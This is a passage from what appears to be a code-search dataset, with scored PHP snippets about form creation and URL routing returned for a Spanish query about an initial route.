BonCommandeType(), $entity, array(\n 'action' => $this->generateUrl('commande_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "4b97112ddd4f017e0d5ad4a9f2d1d241", "score": "0.6166732", "text": "private function createEditForm(Arancel $entity)\n {\n $form = $this->createForm(new ArancelType(), $entity, array(\n 'action' => $this->generateUrl('arancel_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "cd49b864f48cd21563b5ac30ac909e5f", "score": "0.6166094", "text": "private function createEditForm(Garantia $entity)\n {\n $form = $this->createForm(new GarantiaType(), $entity, array(\n 'action' => $this->generateUrl('garantia_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n //$form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "5d488e39bd5ecb066344d356b7820d01", "score": "0.6154071", "text": "private function createEditForm(Menu $entity)\n {\n $form = $this->createForm(MenuType::class, $entity, array(\n 'action' => $this->generateUrl('admin_cms_menu_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n// $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "f2a13ee1485dd82ef2d0db9af6f8a6b2", "score": "0.6153599", "text": "private function createEditForm(Income $entity)\n {\n $form = $this->createForm(new IncomeType(), $entity, array(\n 'action' => $this->generateUrl('income_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n 'attr' => array('id' => 'form')\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "cf1b26f2009e1f677a458e6349f91819", "score": "0.61531365", "text": "public function edit()\n\t{\t\t\n\t\t$form = $this->editForm();\n\t\t$form->setTemplate('LeftAndMain_EditForm');\n\t\t$form->addExtraClass('center cms-content');\n\t\t$form->setAttribute('data-pjax-fragment', 'CurrentForm Content');\n\t\t\t\t\n\t\tRequirements::javascript(BULK_EDIT_TOOLS_PATH . '/javascript/GridFieldBulkEditingForm.js');\t\n\t\tRequirements::css(BULK_EDIT_TOOLS_PATH . '/css/GridFieldBulkEditingForm.css');\t\n\t\tRequirements::add_i18n_javascript(BULK_EDIT_TOOLS_PATH . '/javascript/lang');\t\n\t\t\n\t\tif($this->request->isAjax())\n\t\t{\n\t\t\t$response = new SS_HTTPResponse(\n\t\t\t\tConvert::raw2json(array( 'Content' => $form->forAjaxTemplate()->getValue() ))\n\t\t\t);\n\t\t\t$response->addHeader('X-Pjax', 'Content');\n\t\t\t$response->addHeader('Content-Type', 'text/json');\n\t\t\t$response->addHeader('X-Title', 'SilverStripe - Bulk '.$this->gridField->list->dataClass.' Editing');\n\t\t\treturn $response;\n\t\t}\n\t\telse {\n\t\t\t$controller = $this->getToplevelController();\n\t\t\treturn $controller->customise(array( 'Content' => $form ));\n\t\t}\n\t}", "title": "" } ]
085bb8aa7d03baf24ecb8d527ac68c2d
entra desde el route inicial
[ { "docid": "e9d3cce8ae7d2f31b524bda1fddc17ce", "score": "0.0", "text": "public function getIndex()\n {\n \n if(!parent::validarPermisos($this->moduloId,'listar'))\n {\n return Redirect::back()->with('warning','Acceso denegado a esta seccion');\n }\n \n $rest['usuarios'] = User::orderBy('usuario','ASC')->groupBy('profiles_id')->get();\n $rest['grupos'] = Profiles::orderBy('grupo','ASC')->get();\n\n\n // orderBy('usuario','ASC')->get();\n $rest['action'] = 'create';\n $rest['section'] = 'list';\n $rest['modulo'] = 'usuarios';\n\n return View::make($this->carpetaModulo.'.index')->with($rest);\n \n }", "title": "" } ]
[ { "docid": "47cbb6f6a393c2770cb30043889e56ac", "score": "0.73830444", "text": "private function _route()\n {\n $this->_makeDisable();\n // menjalankan algoritma A*\n $this->_start();\n }", "title": "" }, { "docid": "b5406244763f9e4daf7501c752e24327", "score": "0.70456004", "text": "public abstract function route();", "title": "" }, { "docid": "e3d1475b37a4c46ed465ef88dbe842de", "score": "0.6832871", "text": "private function route()\n {\n// separate url and values\n// look for url in page.xml\n\n\t\t$tempArray = $this->parseUrl(status::url());\n\n\t\tstatus::set('url',$tempArray['url']);\n \t\tstatus::set('val',$tempArray['val']); // add values to val-parameter\n \t\tstatus::set('path',$tempArray['path']); // add values to val-parameter\n\n//echoall($tempArray);\n// routable url found\n if (status::url())\n {\n if ($newVal = OLIVRoute::getUrl(status::url()))\n\t\t\t{\n status::set('url',$newVal);\n\t\t\t}\n else\n {\n OLIVError::fire (\"route.php::route - rescan route information\");\n }\n }\n\n//------------------------------------------------------------------------------\n// no site defined -> call OLIV_404_PAGE\n else\n {\n // use 404 page or if not defined use index page\n \tif (system::OLIV_404_PAGE())\n\t status::set('url',system::OLIV_404_PAGE());\n\t\t\telse\n\t status::set('url',system::OLIV_INDEX_PAGE());\n }\n\n\n// set page name in correct language\n\t\tstatus::set('OLIV_PAGE',system::OLIV_SITE_NAME() . \" \" . OLIVText::xml($this->getPageName(status::lang(),status::url())));\n }", "title": "" }, { "docid": "d9bc63fc8102e6a5b0e4932b36a8fdfa", "score": "0.6744232", "text": "function _afterroute() {}", "title": "" }, { "docid": "a6debbbc5a89cc28b2cf2273f8555429", "score": "0.6689195", "text": "function beforeroute(){\n\t}", "title": "" }, { "docid": "5e62391997e7ff6e93824bd74cd44585", "score": "0.6630454", "text": "abstract protected function _getDefaultRoute();", "title": "" }, { "docid": "3df2b04bc433dc3394fcb5f7e9fe8677", "score": "0.6607192", "text": "public function showRoute()\n {\n }", "title": "" }, { "docid": "7acb0e51cd2d8da405824ab64c844e04", "score": "0.65780824", "text": "public function createRoute();", "title": "" }, { "docid": "cea7ed17dfab5db274cc262fcaf8a799", "score": "0.6532713", "text": "private function route() {\n // Fetch the complete URI string\n $this->fetchUri();\n\n // Remove slash if it is first char\n if (substr($this->uri, 0, 1) == '/') {\n $this->uri = substr($this->uri, 1);\n }\n\n // Is there a URI string?\n if ($this->uri != '') {\n // Compile the segments into an array\n $this->explodeSegments();\n }\n }", "title": "" }, { "docid": "6addf1cb4fa0163c101917255062b21d", "score": "0.6524678", "text": "function _beforeroute() {}", "title": "" }, { "docid": "171166cfc05276fc9db1f6712760a2c4", "score": "0.650178", "text": "public function reset_route(){\n static::$route_found\t= false;\n }", "title": "" }, { "docid": "3a048e0c9d8af897afe28116528b3967", "score": "0.64922756", "text": "abstract protected function getSuccessRoute();", "title": "" }, { "docid": "f97c9b9046446759b4e7f78e5d3353e3", "score": "0.6486399", "text": "function afterroute(){\n\t}", "title": "" }, { "docid": "9d3ecb8bf94d9b95318c80dc7d3016f8", "score": "0.64611167", "text": "abstract protected function initRoutes();", "title": "" }, { "docid": "3e5430ed65a5404c97d84d2deb61ad72", "score": "0.6412386", "text": "private function create_route_paths() { \n /* Creating Route Path between nodes */ \n foreach ($this->graph as $key => $routes) {\n foreach ($routes as $single_key => $single_route ) { \n $route = new RoutePath($this->map_points[$key],$this->map_points[$single_key] \n );\n $this->graph[$key][$single_key] = $route->distance ; \n }\n }}", "title": "" }, { "docid": "0a507317c88ce5ea455c126888f03c61", "score": "0.64083743", "text": "public function getRoutes()\n\t{\n\n\t}", "title": "" }, { "docid": "efb83d907fb584f7863f77960849ac4a", "score": "0.6397288", "text": "public function route() {\n if( array_key_exists( $this->current_route()[0], $this->routes ) ) {\n $this->route_params = $this->current_route();\n if( is_callable( $this->routes[$this->current_route()[0]] ) ) $this->routes[$this->current_route()[0]]();\n else call_user_func_array( $this->routes[$this->current_route()[0]], [ $this ] );\n } else {\n if( is_callable( $this->route_else ) ) ($this->route_else)();\n else echo $this->route_else;\n }\n }", "title": "" }, { "docid": "02c385ef847a55cb2e1bfff23db628fc", "score": "0.6389027", "text": "public function getRoute(){\n //passa o array para a $url\n $url = $this->parseUrl();\n //recupera o valor do primeiro indice\n $i = $url[0];\n \n $this->route = array(\n //Controladores de telas e funcoes de usuários logados\n \"Admin\" => \"ControllerAdministrador\",\n \"Diretoria\" => \"ControllerDiretoria\",\n \"Coordenador\" => \"ControllerCoordenador\",\n \"Professor\" => \"ControllerProfessor\",\n \"Aluno\" => \"ControllerAluno\",\n //Controladores de telas e funcoes publicas,Cada controlador é \n //referente a um item no menu, os itens em submenu são seus métodos\n \"Cursos\" => \"ControllerCursos\",\n \"Escola\" => \"ControllerEscola\",\n \"Direcao\" => \"ControllerDirecao\",\n \"Secretaria\" => \"ControllerSecretaria\",\n \"TCC\" => \"ControllerTCC\",\n \"Noticia\" => \"ControllerNoticia\",\n \"Home\" => \"ControllerHome\",\n //Controlador de login e logout\n 'Auth' => 'ControllerAuth'\n );\n //o caminnho que o usuário está chamando existe na lista acima?\n if(array_key_exists($i, $this->route)){\n //o arquivo desse controller existe?\n if(file_exists(DIR_CONTROLLER.$this->route[$i].\".php\")){\n //retorne o nome do controller\n return $this->route[$i];\n }else{\n //senao existir o arquivo, retorna para a tela inicial.\n header(\"Location: \". DIR_PAGE.'Home');\n }\n //se nao existir essa rota na lista...\n }else{\n //retorna para a tela inicial\n header(\"Location: \". DIR_PAGE.'Home');\n }\n }", "title": "" }, { "docid": "9120f01163018da25d22d93e2142fc03", "score": "0.6383426", "text": "static function if_routed(){\n\t\tunset($_SESSION['KUMBIA_STATIC_ROUTES']);\n\t\tif(!isset($_SESSION['KUMBIA_STATIC_ROUTES'])){\n\t\t\t$routes = Config::read('routes.ini');\n\t\t\t$config = Config::read('config.ini');\n\t\t\t\n\t\t\t/**\n\t\t\t\tLeo la politica de enrutamiento para la aplicacion\n\t\t\t**/\n\t\t\tif(isset($routes->{self::$application})){\n\t\t\t\t//echo \"aplicacion\";\n\t\t\t\tforeach($routes->{self::$application} as $source => $destination){\n\t\t\t\t\n\t\t\t\t\t/**\n\t\t\t\t\t\tExtraigo la regla de enrutamiento para el origen\n\t\t\t\t\t**/\n\t\t\t\t\t$num_sep = substr_count($source, '/');\n\t\t\t\t\tif ($source === '/'){\n\t\t\t\t\t\t$module_source = ''; \n\t\t\t\t\t\t$action_source = 'index';\n\t\t\t\t\t\t$controller_source = '';\n\t\t\t\t\t\t$id_source = null;\n\t\t\t\t\t} elseif ($num_sep==1 && $source != '/') {\n\t\t\t\t\t\t$module_source = ''; \n\t\t\t\t\t\t$action_source = 'index';\n\t\t\t\t\t\t$controller_source = 'ss';\n\t\t\t\t\t\t$id_source = null;\n\t\t\t\t\t} elseif($num_sep==2) {\n\t\t\t\t\t\tlist($controller_source, $action_source, $id_source) = explode(\"/\", $source);\n\t\t\t\t\t\t$module_source = ''; \n\t\t\t\t\t} elseif($num_sep==3) {\n\t\t\t\t\t\tlist($module_source, $controller_source, $action_source, $id_source) = explode(\"/\", $source);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthrow new RouterException(\"Pol&iacute;tica de enrutamiento invalida '$source' a '$destination' en config/routes.ini\");\n\t\t\t\t\t}\n\t\t\t\t\t$application_source = self::$application;\n\n\t\t\t\t\t/**\n\t\t\t\t\t * Evaluo la regla de enrutamiento\n\t\t\t\t\t **/\n\t\t\t\t\t$num_sep = substr_count($destination, '/');\n\t\t\t\t\tif($num_sep==1) {\n\t\t\t\t\t\t$module_destination = ''; \n\t\t\t\t\t\t$action_destination = 'index';\n\t\t\t\t\t\t$controller_destination = '';\n\t\t\t\t\t\t$id_destination = null;\n\t\t\t\t\t\t//echo \"--destino sep1\";\n\t\t\t\t\t} elseif($num_sep==2) {\n\t\t\t\t\t\tlist($controller_destination, $action_destination, $id_destination) = explode(\"/\", $destination);\n\t\t\t\t\t\t$module_destination = '';\n\t\t\t\t\t\t//echo \"--destino sep2\";\n\t\t\t\t\t} elseif($num_sep==3) {\n\t\t\t\t\t\tlist($module_destination, $controller_destination, $action_destination, $id_destination) = explode(\"/\", $destination);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthrow new RouterException(\"Pol&iacute;tica de enrutamiento invalida '$source' a '$destination' en config/routes.ini\");\n\t\t\t\t\t}\n\t\t\t\t\t$application_destination = self::$application;\n\t\t\t\t\t//echo \"[destino contr:\".$controller_destination.\" source contr:\".$controller_source.\"]\";\n\t\t\t\t\t/**\n\t\t\t\t\t\tSi la politica de enrutamiento no es ciclica, entonces la cargo en la variable de sesion\n\t\t\t\t\t**/\n\t\t\t\t\tif($application_source==$application_destination && $module_source==$module_destination && $controller_source==$controller_destination && $action_source==$action_destination && $id_source==$id_destination){\n\t\t\t\t\t\tthrow new KumbiaException(\"Politica de enrutamiento ciclica de '$source' a '$destination' en config/routes.ini\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$_SESSION['KUMBIA_STATIC_ROUTES'][$application_source][$module_source][$controller_source][$action_source][$id_source] = array(\n\t\t\t\t\t\t\t'application' => $application_destination,\n\t\t\t\t\t\t\t'module' => $module_destination,\n\t\t\t\t\t\t\t'controller' => $controller_destination,\n\t\t\t\t\t\t\t'action' => $action_destination,\n\t\t\t\t\t\t\t'id' => $id_destination\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$application = self::$application;\n\t\t$module = self::$module;\n\t\t$controller = self::$controller;\n\t\t$action = self::$action;\n\t\t$id = self::$id;\n\n\t\t$new_route = array(\n\t\t\t'application' => '*',\n\t\t\t'module' => '*',\n\t\t\t'controller' => '*',\n\t\t\t'action' => '*',\n\t\t\t'id' => '*'\n\t\t);\n\t\tif(isset($_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*']['*'][$action]['*'])){\n\t\t\t$new_route = $_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*']['*'][$action]['*'];\n\t\t}\n\t\tif(isset($_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*'][$controller]['*']['*'])){\n\t\t\t$new_route = $_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*'][$controller]['*']['*'];\n\t\t}\n\t\tif(isset($_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*'][$controller]['*'][$id])){\n\t\t\t$new_route = $_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*'][$controller]['*'][$id];\n\t\t}\n\t\tif(isset($_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*'][$controller][$action]['*'])){\n\t\t\t$new_route = $_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*'][$controller][$action]['*'];\n\t\t}\n\t\tif(isset($_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*'][$controller][$action][$id])){\n\t\t\t$new_route = $_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*'][$controller][$action][$id];\n\t\t}\n\t\tif(isset($_SESSION['KUMBIA_STATIC_ROUTES'][$application][$module]['*'][$action]['*'])){\n\t\t\t$new_route = $_SESSION['KUMBIA_STATIC_ROUTES'][$application]['*']['*'][$action]['*'];\n\t\t}\n\t\tif(isset($_SESSION['KUMBIA_STATIC_ROUTES'][$application][$module][$controller]['*']['*'])){\n\t\t\t$new_route = $_SESSION['KUMBIA_STATIC_ROUTES'][$application][$module][$controller]['*']['*'];\n\t\t}\n\t\tif(isset($_SESSION['KUMBIA_STATIC_ROUTES'][$application][$module][$controller]['*'][$id])){\n\t\t\t$new_route = $_SESSION['KUMBIA_STATIC_ROUTES'][$application][$module][$controller]['*'][$id];\n\t\t}\n\t\tif(isset($_SESSION['KUMBIA_STATIC_ROUTES'][$application][$module][$controller][$action]['*'])){\n\t\t\t$new_route = $_SESSION['KUMBIA_STATIC_ROUTES'][$application][$module][$controller][$action]['*'];\n\t\t}\n\t\tif(isset($_SESSION['KUMBIA_STATIC_ROUTES'][$application][$module][$controller][$action][$id])){\n\t\t\t$new_route = $_SESSION['KUMBIA_STATIC_ROUTES'][$application][$module][$controller][$action][$id];\n\t\t}\n\t\t\n\t\t/**\n\t\t * Asigno la nueva ruta\n\t\t **/\n\t\tif($new_route['application']!='*'){\n\t\t\tself::$application = $new_route['application'];\n\t\t}\t\t\n\n\t\tif($new_route['module']!='*'){\n\t\t\tself::$module = $new_route['module'];\n\t\t}\n\t\t\n\t\tif($new_route['controller']!='*'){\n\t\t\tself::$controller = $new_route['controller'];\n\t\t}\n\t\t\n\t\tif($new_route['action']!='*'){\n\t\t\tself::$action = $new_route['action'];\n\t\t}\n\t\t\n\t\tif($new_route['id']!='*'){\n\t\t\tself::$id = $new_route['id'];\n\t\t}\n\n\t\treturn;\n\t}", "title": "" }, { "docid": "7134888f2b8a8776a1ceffa6c24c8a27", "score": "0.6314562", "text": "public function __construct(Route $route) { $this->route = $route; }", "title": "" }, { "docid": "c9c3adaea7e0af5d0a73b26306d8b118", "score": "0.6311224", "text": "public function generate_route():void{\n if(count($this->request_parts) < 4){ //one root path + three parts to define the API \n throw new \\Talis\\Exception\\BadUri(print_r($this->request_parts,true));\n }\n \n $this->route= [\n 'route' => \\Talis\\Corwin::$APP_PATH . \"/api/{$this->request_parts[1]}/{$this->request_parts[2]}/{$this->request_parts[3]}.php\",\n 'classname' => \"\\Api\\\\{$this->request_parts[1]}{$this->request_parts[2]}{$this->request_parts[3]}\"\n ];\n \\ZimLogger\\MainZim::$CurrentLogger->debug(\"Doing route [{$this->route['route']}]\");\n }", "title": "" }, { "docid": "8f6b371911aa11e2fac4c4e9a9c38c4f", "score": "0.6297645", "text": "private function translate_route()\n {\n if (empty($this->request_path)) {\n return;\n }\n\n foreach ($this->routes as $key => $value) {\n $regex = '/^' . str_replace('/', '\\/', $key) . '$/';\n if (preg_match($regex, $this->request_path)) {\n $this->request_path = preg_replace($regex, $value, $this->request_path);\n break;\n }\n }\n\n $this->request_path = trim($this->request_path, '/');\n }", "title": "" }, { "docid": "a9b7f7d0db01de2d0ff11f6748590b1b", "score": "0.6246435", "text": "protected function getFrontendRoute(){\n\t}", "title": "" }, { "docid": "dad75903b9bc3ebe0276ec0e781a27c0", "score": "0.6240972", "text": "function verwalteRoute($schiff_id) {\n $routen_daten = @mysql_query(\"SELECT kox, koy, routing_id, status, lemin, zielid, frachtraum \n\t\t\tFROM skrupel_schiffe WHERE id='$schiff_id'\");\n $routen_daten = @mysql_fetch_array($routen_daten);\n $x_pos = $routen_daten['kox'];\n $y_pos = $routen_daten['koy'];\n $routen_planeten_ids = explode(':', $routen_daten['routing_id']);\n $schiff_status = $routen_daten['status'];\n $schiff_lemin = $routen_daten['lemin'];\n $aktuelle_ziel_id = $routen_daten['zielid'];\n $frachtraum = $routen_daten['frachtraum'];\n $warp = $this->ermittleMaximumWarp($schiff_id);\n if($schiff_status != 2) {\n //Das Schiff fliegt tanken, falls nicht mehr genug Lemin da ist.\n $strecken_lemin = $this->ermittleStreckenVerbrauch($schiff_id);\n if($schiff_lemin < (eigenschaften::$frachter_infos->min_frachter_lemin_prozent * $strecken_lemin / 100)) {\n $this->fliegeTanken($schiff_id);\n\n return;\n }\n //Dass Schiff nimmt die Route wieder auf und fliegt zum naechsten Planeten in der Route, falls das\n //aktuelle Ziel keine Routen-Planet ist.\n if(!in_array($aktuelle_ziel_id, $routen_planeten_ids) || $aktuelle_ziel_id == null) {\n $alter_planet = $this->ermittleLetztenRoutenPlaneten($schiff_id);\n $ziel_daten = $this->ermittleNaechstenRoutenPlaneten($schiff_id, $alter_planet);\n $this->fliegeSchiff($schiff_id, $ziel_daten['x'], $ziel_daten['y'], $warp, $ziel_daten['id']);\n }\n\n return;\n }\n $spiel_id = eigenschaften::$spiel_id;\n $planeten_infos = @mysql_query(\"SELECT id, sternenbasis FROM skrupel_planeten WHERE (x_pos='$x_pos') \n\t\t\tAND (y_pos='$y_pos') AND (spiel='$spiel_id')\");\n $planeten_infos = @mysql_fetch_array($planeten_infos);\n $planeten_id = $planeten_infos['id'];\n $sternenbasis = $planeten_infos['sternenbasis'];\n if($sternenbasis != 2) $this->tankeLemin($schiff_id, $planeten_id);\n $freier_frachtraum = $this->ermittleFreienFrachtraum($schiff_id);\n $routen_laenge = count($routen_planeten_ids) - 1;\n $alter_planet = $this->ermittleLetztenRoutenPlaneten($schiff_id);\n //Falls der aktuelle Planet kein Routen-Planet ist, wird zum naechsten Planeten in der Route geflogen.\n if(!in_array($planeten_id, $routen_planeten_ids) && $freier_frachtraum != 0 && $alter_planet == null) {\n $this->tankeLemin($schiff_id, $planeten_id);\n if($alter_planet == null || $alter_planet == 0)\n $alter_planet = $ziel_daten = $routen_planeten_ids[$routen_laenge - 1];\n $ziel_daten = $this->ermittleNaechstenRoutenPlaneten($schiff_id, $alter_planet);\n $this->fliegeSchiff($schiff_id, $ziel_daten['x'], $ziel_daten['y'], $warp, $ziel_daten['id']);\n\n return;\n }\n //Ist der Frachter beim Planeten angelangt, der beliefert werden soll (der letzte Planet im Array), so\n //wird der Frachtraum geleert, etwas Lemin getankt und Kurs auf den ersten Planeten der Route gesetzt.\n if($routen_planeten_ids[$routen_laenge - 1] == $planeten_id) {\n $alter_planet = $this->ermittleLetztenRoutenPlaneten($schiff_id);\n $ziel_daten = $this->ermittleNaechstenRoutenPlaneten($schiff_id, $alter_planet);\n $this->leereFrachtRaum($schiff_id, $planeten_id);\n if($frachtraum == $freier_frachtraum && $alter_planet != null && $ziel_daten['id'] != null\n && $ziel_daten['id'] != 0 && $ziel_daten['id'] != $planeten_id) {\n $neue_zielid = $ziel_daten['id'];\n $planet_koords = @mysql_query(\"SELECT x_pos, y_pos FROM skrupel_planeten \n\t\t\t\t\tWHERE id='$neue_zielid'\");\n $planet_koords = @mysql_fetch_array($planet_koords);\n $this->fliegeSchiff($schiff_id, $planet_koords['x_pos'], $planet_koords['y_pos'], $warp,\n $neue_zielid);\n $this->tankeLeminStart($schiff_id, $planeten_id);\n\n return;\n }\n $ziel = $routen_planeten_ids[0];\n $planet_koords = @mysql_query(\"SELECT x_pos, y_pos FROM skrupel_planeten WHERE id='$ziel'\");\n $planet_koords = @mysql_fetch_array($planet_koords);\n $this->fliegeSchiff($schiff_id, $planet_koords['x_pos'], $planet_koords['y_pos'], $warp, $ziel);\n $this->updateLogBuchRoute($schiff_id, $planeten_id);\n $this->tankeLeminStart($schiff_id, $planeten_id);\n\n return;\n }\n $freier_raum = $this->beladeFrachter($schiff_id, $planeten_id);\n //Ist der Frachtraum voll, so wird sofort zum Planeten geflogen, der beladen werden soll.\n if($freier_raum == 0) {\n $ziel = $routen_planeten_ids[$routen_laenge - 1];\n $planet_koords = @mysql_query(\"SELECT x_pos, y_pos FROM skrupel_planeten WHERE id='$ziel'\");\n $planet_koords = @mysql_fetch_array($planet_koords);\n $this->fliegeSchiff($schiff_id, $planet_koords['x_pos'], $planet_koords['y_pos'], $warp, $ziel);\n $this->updateLogBuchRoute($schiff_id, $planeten_id);\n\n return;\n }\n $ziel_daten = $this->ermittleNaechstenRoutenPlaneten($schiff_id, $planeten_id);\n $neue_zielid = $ziel_daten['id'];\n $planet_koords = @mysql_query(\"SELECT x_pos, y_pos FROM skrupel_planeten WHERE id='$neue_zielid'\");\n $planet_koords = @mysql_fetch_array($planet_koords);\n $this->fliegeSchiff($schiff_id, $planet_koords['x_pos'], $planet_koords['y_pos'], $warp, $neue_zielid);\n $this->updateLogBuchRoute($schiff_id, $planeten_id);\n }", "title": "" }, { "docid": "631e62eeeb335afba8b5b5365b50fbd3", "score": "0.6238766", "text": "public function getRedirectRoute()\n { }", "title": "" }, { "docid": "71dbc2d9f055c6a52ca86d4858ff80e8", "score": "0.6224636", "text": "public function userRoutes(): void\n {\n }", "title": "" }, { "docid": "88282aab4b31559d8339cfa82264fffd", "score": "0.61228925", "text": "public static function route()\n {\n return static::$main_route;\n }", "title": "" }, { "docid": "c7ef2f3362eac12717a03092e8013124", "score": "0.61076456", "text": "public function Routes(){\n if(isset($_GET[\"ruta\"])){\n $routes = $_GET[\"ruta\"];\n }else{\n $routes = \"index\";\n }\n\n// aqui tenemos la variable $respuesta que sera un objeto de la clase modelo\n// asociada a la funcion RutasModelo y esta recibira el valor traido por metodo GET de $routes\n\n $response = Model::RoutesModel($routes);\n include $response;\n \n }", "title": "" }, { "docid": "ec5f8734c6f4906bf184dfb079142bdc", "score": "0.60807866", "text": "protected abstract function buildRoutes();", "title": "" }, { "docid": "ddf53d1a995a45597a1e536bdf045f6b", "score": "0.60703576", "text": "public function getRoute() {\n return $this->route;\n\n }", "title": "" }, { "docid": "133f511b18eba4f897274e313d72b34c", "score": "0.6045073", "text": "private function route()\n {\n // Initialize the router\n $router = new AltoRouter();\n $router->setBasePath(BASEROUTE);\n\n // Load plugin/theme routes first\n // TODO: Update router.map in modules to App::addRoute();\n $GLOBALS[\"_ROUTER_\"] = $router;\n \\Event::trigger(\"router.map\", \"_ROUTER_\");\n $router = $GLOBALS[\"_ROUTER_\"];\n\n // Load global routes\n include APPPATH.\"/config/routes.config.php\";\n \n // Map the routes\n $router->addRoutes(App::getRoutes());\n\n // Match the route\n $route = $router->match();\n $route = json_decode(json_encode($route));\n\n if ($route) {\n if (is_array($route->target)) {\n require_once $route->target[0];\n $controller = $route->target[1];\n } else {\n $controller = $route->target.\"Controller\";\n }\n } else {\n $controller = \"NotfoundController\";\n }\n\n $this->controller = new $controller;\n $this->controller->setVariable(\"Route\", $route);\n }", "title": "" }, { "docid": "cf675debb2a2a6198f1d06e80baec90a", "score": "0.6037422", "text": "public function route()\r\n\t{\r\n\t\treturn $this->route;\r\n\t}", "title": "" }, { "docid": "dfa308628e9fc5bc62af02d508812884", "score": "0.601731", "text": "public function getRoute()\n {\n\t\t//if no GET display main\n\t\tif(empty($_GET)){ \n\t\t\techo $this->getTemplateR('backend_mvc/View/main.php');\n\t\t} else{ \n\t\t try{\n\t\t $getName = explode(\"?\",$_SERVER['REQUEST_URI'])[1]; //gets parametr name after {?}\n\t\t\t echo $this->getTemplateR('backend_mvc/View/' . $getName . '.php');\n\t\t\t} catch(Exception $e){\n\t\t\t\techo 3333;\n\t\t\t\techo 'Message: ' .$e->getMessage();\n\t\t\t}\n\t\t}\n }", "title": "" }, { "docid": "39e8b1989fbad172181f3349d9f8f76f", "score": "0.6000432", "text": "public function __construct()\n {\n $this->routes = [];\n }", "title": "" }, { "docid": "cd468a0118858f674e3596faedb06806", "score": "0.5992414", "text": "protected function loadRoutes()\n {\n }", "title": "" }, { "docid": "6d14b36646bdac83fcfb9000213c0005", "score": "0.598345", "text": "public function route()\n\t{\n/*\t\t// Get the full request URI.\n\t\t$uri\t= clone JURI::getInstance();\n\n\t\t$router = $this->getRouter();\n\t\t$result = $router->parse($uri);\n\n\t\tJRequest::set($result, 'get', false);\n\n\t\t// Trigger the onAfterRoute event.\n\t\tJPluginHelper::importPlugin('system');\n\t\t$this->triggerEvent('onAfterRoute');*/\n\t}", "title": "" }, { "docid": "0103eea75d10b860e291b90b90e0e358", "score": "0.59744984", "text": "public function routeStartup() {}", "title": "" }, { "docid": "262b139d89f8d25501f7bfa46e4ff2d3", "score": "0.595768", "text": "public function routeListTest()\n {\n $this->routeList(21);\n }", "title": "" }, { "docid": "5f35dc9d2a87c150362883e5f7e70b45", "score": "0.5956816", "text": "public function publicRoutes(): void\n {\n }", "title": "" }, { "docid": "23b71db38ac905e4684354861315f101", "score": "0.5943927", "text": "function setzeErnteRoute($schiff_id, $start_planet) {\n //Erst werden die Routen aktualisiert, da in einer Runde mehrmals eine Route gesetzt werden kann und es\n //sonst dennoch zu Routen zu gleichen Planeten kommen kann.\n $this->ermittleRouten();\n //Falls schon genug Routen zum Start-Planeten existieren, wird keine neue Route dahin erstellt.\n $anzahl_basen = count(eigenschaften::$basen_planeten_ids) + count(eigenschaften::$neue_basis_planeten);\n $routen_pro_basis = ceil(count(eigenschaften::$frachter_ids) - 1 / $anzahl_basen);\n if($this->ermittleRoutenVonPlanet($start_planet) >= $routen_pro_basis) return false;\n $planeten_string = '';\n $planeten_ausnahmen = array_merge($this->ermittlePlanetenInRouten(), eigenschaften::$basen_planeten_ids);\n $planeten_ausnahmen[] = $start_planet;\n $temp_planet = $start_planet;\n $routen_planeten = 0;\n //Nun werden die Planeten-IDs fuer die Route zusammen gestellt.\n for($k = 1; $k < count(eigenschaften::$kolonien_ids); $k++) {\n //Hier wird abgebrochen, falls schon genug Planeten fuer die Route zusammengestellt wurden.\n if($k >= eigenschaften::$frachter_route_infos->max_planeten_pro_route) break;\n $planeten_pos = @mysql_query(\"SELECT x_pos, y_pos FROM skrupel_planeten WHERE id='$temp_planet'\");\n $planeten_pos = @mysql_fetch_array($planeten_pos);\n $planet_id = ki_basis::ermittleNahenPlaneten($planeten_pos['x_pos'], $planeten_pos['y_pos'],\n $planeten_ausnahmen, true, true);\n if($planet_id == null || $planet_id['id'] == 0) break;\n $planet_id = $planet_id['id'];\n $planeten_ausnahmen[] = $planet_id;\n $planeten_string = $planeten_string.$planet_id.':';\n $temp_planet = $planet_id;\n $routen_planeten++;\n }\n $planeten_string = $planeten_string.$start_planet.':';\n //Falls nicht genug Planeten fuer eine Route zusammen gestellt wurden, wird sichergestellt, dass das\n //Schiff auch wirklich keine Route hat und abgebrochen.\n if($routen_planeten < eigenschaften::$frachter_route_infos->min_planeten_pro_route) {\n @mysql_query(\"UPDATE skrupel_schiffe SET routing_id='', routing_status=0, logbuch='' \n\t\t\t\tWHERE id='$schiff_id'\");\n\n return false;\n } else {\n @mysql_query(\"UPDATE skrupel_schiffe SET routing_id='$planeten_string', routing_status=2, \n\t\t\t\tlogbuch='' WHERE id='$schiff_id'\");\n\n return true;\n }\n }", "title": "" }, { "docid": "59746149309d7fea1b540a094c7b217d", "score": "0.5927352", "text": "public function route(Request $request){\n // le quitamos el / para comparar en el json\n $ruta = substr($request->getRuta(), 1);\n // notar que se retorna la ruta. Como tenemos aca la ruta del request, entonces podemos compararla con las rutas pre-establecidas en nuestro archivo json.\n 